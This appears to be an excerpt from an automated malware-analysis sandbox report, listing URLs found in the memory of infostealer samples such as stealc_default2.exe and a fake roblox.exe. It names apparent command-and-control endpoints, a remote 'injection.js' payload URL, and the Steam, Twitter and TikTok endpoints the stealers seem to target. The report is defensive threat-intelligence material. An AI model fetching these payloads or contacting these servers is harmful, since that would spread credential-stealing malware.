Source: v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3991489882.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Dri
Source: v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/OP
Source: v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/URE=~
Source: v_dolg.exe, 00000020.00000003.3991489882.0000000001002000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3888705845.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3888248745.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.4028975021.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: v_dolg.exe, 00000020.00000002.4037001635.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.4028975021.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiAD
Source: v_dolg.exe, 00000020.00000003.3891018668.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3888705845.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3888248745.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apidDd
Source: v_dolg.exe, 00000020.00000003.3888248745.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apit
Source: v_dolg.exe, 00000020.00000003.3821251182.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821693820.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: v_dolg.exe, 00000020.00000003.3992061832.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4037001635.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.4028975021.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/vG
Source: v_dolg.exe, 00000020.00000003.3991489882.0000000000F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000000.3475833280.00007FF68C1FC000.00000002.00000001.01000000.00000016.sdmp	String found in binary or memory: https://nuitka.net/info/segfault.html
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/meuNo
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/u
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: legs.exe, 00000017.00000003.3322182497.0000000003AF0000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3394492337.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3127493148.0000000001362000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3414722784.0000000001355000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3347025177.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3413726497.0000000001339000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3177480061.0000000003AE3000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3318362813.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179174942.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3416628613.0000000003AF1000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3395355275.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: legs.exe, 00000017.00000002.3413726497.00000000012DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/2
Source: legs.exe, 00000017.00000002.3413726497.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3413726497.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: legs.exe, 00000017.00000003.3346901474.000000000134D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3413726497.000000000134D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiZ
Source: legs.exe, 00000017.00000003.3224385364.0000000001362000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3177109183.0000000001362000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3127493148.0000000001362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apif
Source: legs.exe, 00000017.00000002.3413726497.00000000012C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/apiv
Source: legs.exe, 00000017.00000003.3394492337.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3347025177.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3416628613.0000000003AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/feZ
Source: legs.exe, 00000017.00000003.3223517863.0000000003AEE000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3394492337.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3224323555.0000000003AF0000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3177574834.0000000003AF0000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3127350191.0000000003AF0000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3347025177.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3223001508.0000000003AEA000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3125445283.0000000003AEF000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3176967381.0000000003AEA000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000002.3416628613.0000000003AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: legs.exe, 00000017.00000002.3414829114.0000000001359000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3395408111.0000000001358000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3346901474.0000000001352000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3347223346.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0649/)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0749/)-implementing
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/attrs/)
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3756000650.00007FFD93E33000.00000002.00000001.01000000.00000018.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.js
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.jsanulluMain.GetInjectionC
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://restores.name/log
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://restores.name/logaOKJ86FM1CLE9MMZg
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: axplong.exe, 00000013.00000002.4715685872.0000000001171000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000013.00000002.4715685872.000000000112A000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000015.00000002.3047500494.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/of
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: v_dolg.exe, 00000020.00000003.3891372130.000000000386D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: stub.exe, 00000023.00000002.3740469502.0000022F675F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: v_dolg.exe, 00000020.00000003.3891372130.000000000386D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: stealc_default2.exe, 00000014.00000003.3239319903.000000002D497000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/u
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: stealc_default2.exe, 00000014.00000002.3322120642.00000000272C2000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179663648.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/FilePreviews.svg
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Klaviyo.svg
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Tidelift.svg
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Variomedia.svg
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes)
Source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, roblox.exe, 00000021.00000003.3428426689.00000202ADBA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ibm.com/
Source: legs.exe, 00000017.00000003.3179098373.0000000003BEA000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3890876298.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: legs.exe, 00000017.00000003.3179098373.0000000003BEA000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3890876298.0000000003798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: v_dolg.exe, 00000020.00000003.3891372130.000000000386D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: v_dolg.exe, 00000020.00000003.3891372130.000000000386D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
